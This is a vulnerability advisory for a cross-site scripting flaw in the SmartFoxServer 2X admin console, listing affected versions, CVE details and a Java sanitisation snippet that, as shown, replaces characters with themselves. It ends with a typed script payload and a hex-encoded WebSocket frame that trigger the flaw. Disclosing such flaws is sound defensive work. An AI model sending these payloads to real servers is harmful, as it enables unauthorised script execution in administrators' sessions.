SmartFoxServer 2X 2.17.0 God Mode Console WebSocket XSS


Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: Authenticated Cross-Site Scripting was discovered.
Input passed to the AdminTool console is not properly
sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML code in a user's browser
session in context of an affected site.

-----------------------------------------------------------------
/ConsoleModuleReqHandler.java:
------------------------------

 private String checkHTML(String data) {
     if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) {
         data = data.replaceAll("\\<", "<");
         return data.replaceAll("\\>", ">");
     }
     return data;

-----------------------------------------------------------------

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5626
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5626.php

CVE ID: CVE-2021-26549
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26549
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2021-26549


29.01.2021

--


Typing payload:
<script>confirm(document.URL)

WebSocket payload:
\x80\x00\x52\x12\x00\x03\x00\x01\x63\x02\x01\x00
\x01\x61\x03\x00\x0D\x00\x01\x70\x12\x00\x03\x00
\x01\x63\x08\x00\x0C\x63\x6F\x6E\x73\x6F\x6C\x65
\x2E\x68\x69\x6E\x74\x00\x01\x72\x04\xFF\xFF\xFF
\xFF\x00\x01\x70\x12\x00\x01\x00\x01\x63\x08\x00
\x18\x3C\x73\x63\x72\x69\x70\x74\x3E\x63\x6F\x6E
\x66\x69\x72\x6D\x28\x64\x6F\x63\x75\x6D\x65\x6E
\x74\x2E\x55\x52\x4C\x29